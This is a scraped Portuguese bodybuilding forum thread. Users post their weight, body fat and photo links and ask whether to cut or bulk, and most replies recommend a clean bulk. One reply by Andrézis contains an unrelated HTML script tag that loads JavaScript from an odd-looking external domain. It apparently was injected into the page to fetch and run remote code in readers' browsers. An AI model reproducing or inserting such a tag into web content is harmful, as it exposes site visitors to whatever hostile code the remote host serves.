[Oficial] Devo Fazer Cutting ou Bulking? Poste sua foto!

[Felipe Bim 0]

bom sempre fui gordinho, ja cheguei pesar 74 quilos com 1.61 atualmente estou com 56 quilos mais todos esses quilos foram perdidos durantes os anos não foi tudo de uma vez,pois eu começa dieta parava emagrecia engordava mais um poco,até que comecei a treinar e fiquei com visualzão retido porém tinha uma força legal o que me mantinha motivado,atualmente resolvi secar legal mesmo sequei com muitos aeróbios e dieta , porem me sobrou aquela famosa pele flácida meu bf estaa em torno de 10% 11% a duvida é continuo secando mais ??? ou parto pra um off limpo ??? não sei dizer bem sobre mim se tenho facilidade pra ganhar peso pois sempre ganhei peso fácil porem como demais em épocas que não estou fazendo dieta!!!

http://img.gforum.tv...8e0dcd234ed.JPG

http://img.gforum.tv...b7701eb7c1a.JPG

[PBV 64]

bom sempre fui gordinho, ja cheguei pesar 74 quilos com 1.61 atualmente estou com 56 quilos mais todos esses quilos foram perdidos durantes os anos não foi tudo de uma vez,pois eu começa dieta parava emagrecia engordava mais um poco,até que comecei a treinar e fiquei com visualzão retido porém tinha uma força legal o que me mantinha motivado,atualmente resolvi secar legal mesmo sequei com muitos aeróbios e dieta , porem me sobrou aquela famosa pele flácida meu bf estaa em torno de 10% 11% a duvida é continuo secando mais ??? ou parto pra um off limpo ??? não sei dizer bem sobre mim se tenho facilidade pra ganhar peso pois sempre ganhei peso fácil porem como demais em épocas que não estou fazendo dieta!!!

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Bulk Limpo, seco bem já.

[Hatsuke 12]

bom sempre fui gordinho, ja cheguei pesar 74 quilos com 1.61 atualmente estou com 56 quilos mais todos esses quilos foram perdidos durantes os anos não foi tudo de uma vez,pois eu começa dieta parava emagrecia engordava mais um poco,até que comecei a treinar e fiquei com visualzão retido porém tinha uma força legal o que me mantinha motivado,atualmente resolvi secar legal mesmo sequei com muitos aeróbios e dieta , porem me sobrou aquela famosa pele flácida meu bf estaa em torno de 10% 11% a duvida é continuo secando mais ??? ou parto pra um off limpo ??? não sei dizer bem sobre mim se tenho facilidade pra ganhar peso pois sempre ganhei peso fácil porem como demais em épocas que não estou fazendo dieta!!!

http://img.gforum.tv...8e0dcd234ed.JPG

http://img.gforum.tv...b7701eb7c1a.JPG

Bulk limpo... monta uma dieta com alimentos que você gosta e mantém ela pra não ter época sem dieta..rs

[Andrézis 23]

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Dinovo ? rsrs

Bulk cara, limpo sempre.<script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script>

Cara, mesma coisa que disse pro cara ai encima.

Se voce controlar sua alimentação com uma dieta legal e limpa concerteza consegue dar uma limpada na graxa e ganhar massa magra.

mas eu partiria pro bulk, ganharia mais MM e dps cutava.

Dinovo pq? não tinha postado nada nesse tópico ainda deve ter me confundido

+ vlw pela opinião

Editado Abril 16, 2015 às 05:17 por Andrézis

[rvtz 101]

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foto atual:

http://i.imgur.com/kDFeHQl.jpg

foto anterior:

http://i.imgur.com/hJUSH22.jpg

E aí pessoal, de acordo com a foto atual devo fazer cutting ou bulking?

Dei uma evoluída será? Não consigo ter essa percepção!

Aqui cara, voce ja havia perguntado.

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foto atual:

http://i.imgur.com/kDFeHQl.jpg

foto anterior:

http://i.imgur.com/hJUSH22.jpg

E aí pessoal, de acordo com a foto atual devo fazer cutting ou bulking?

Dei uma evoluída será? Não consigo ter essa percepção!

BULK OU CUTT???

COnfundi man, mals kkkk

[Mr.David 3]

Ai pessoal, fiz um bulking, subi de 66kg para 75kg, devo continuar com bulking ou secar primeiro e depois fazer bulking?

[rvtz 101]

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Ai pessoal, fiz um bulking, subi de 66kg para 75kg, devo continuar com bulking ou secar primeiro e depois fazer bulking?

Sim, continua no bulking, limpo sempre.

[Hatsuke 12]

Ai pessoal, fiz um bulking, subi de 66kg para 75kg, devo continuar com bulking ou secar primeiro e depois fazer bulking?

Bulk limpo com certeza...

[ArthurPS 1]

E aí? Bulking mesmo?

[h1ghland3r 10]

E aí? Bulking mesmo?

20150329_033902.jpg

Sim.

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